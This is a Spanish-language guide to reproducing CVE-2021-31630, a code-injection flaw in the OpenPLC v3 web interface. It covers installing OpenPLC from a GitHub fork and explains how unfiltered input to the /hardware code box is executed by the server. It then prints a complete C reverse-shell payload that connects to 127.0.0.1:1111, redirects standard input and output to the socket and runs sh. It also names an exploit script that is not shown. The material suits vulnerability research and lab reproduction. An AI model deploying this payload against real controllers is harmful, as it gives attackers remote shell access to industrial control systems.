
Para reproducir CVE-2021-31630
OpenPLC es un controlador lógico programable de código abierto basado en software fácil de usar. Nuestro enfoque es proporcionar una solución industrial de bajo costo para automatización e investigación. OpenPLC se ha utilizado en numerosos artículos de investigación como un marco para la investigación de ciberseguridad industrial, ya que es el único controlador que proporciona todo el código fuente. El proyecto OpenPLC consta de tres subproyectos:
mkdir /opt/PLC
cd /opt/PLC
git clone https://github.com/tranquac/OpenPLC_v3.git
cd OpenPLC_v3
./install.sh [platform]
Donde [platform] puede ser:
win - Instala OpenPLC en Windows sobre Cygwin
linux - Instala OpenPLC en una distribución basada en Debian
docker - Usado por el Dockerfile (es decir, no invoca sudo)
rpi - Instala OpenPLC en una Raspberry Pi
custom - Omite toda la instalación de paquetes específicos e intenta instalar OpenPLC asumiendo que su sistema ya tiene todas las dependencias satisfechas. Esta opción puede ser útil si está intentando instalar OpenPLC en una plataforma Linux no soportada o si instaló manualmente todos los paquetes de dependencia antes.
CVE-2021-31630 es una vulnerabilidad del tipo inyección de código/comandos en el servidor web de OpenPLC (versión v3 ampliamente utilizada por la comunidad). El error se encuentra en la función que permite cargar/editar código en la interfaz /hardware (Hardware Layer Code Box), donde los datos de entrada no se filtran/sanitizan adecuadamente antes de ser procesados en el servidor, lo que lleva a la posibilidad de ejecución de código bajo los permisos del proceso del servidor web. La vulnerabilidad se hizo pública en 2021 y tiene un alto nivel de gravedad en las bases de datos de vulnerabilidades públicas.
Descripción técnica (nivel defendible): la interfaz web acepta un fragmento de "hardware layer code" proporcionado por el usuario. Estos datos luego son procesados por componentes del servidor que tienen la capacidad de compilar/normalizar o insertar en un contexto de comandos sin realizar verificaciones, filtrado de caracteres especiales o restricciones estrictas. Bajo ciertas condiciones (por ejemplo, los datos se concatenan en una cadena de comandos del sistema, o se pasan directamente a una función de procesamiento de código), un atacante puede insertar elementos de control que alteren el flujo de ejecución.
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
void initCustomLayer(){}
void updateCustomIn(){}
void updateCustomOut()
{
int port = 1111;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"sh", NULL};
execvp("sh", argv);
return 0;
}
Código de explotación: cve-2021-31630.py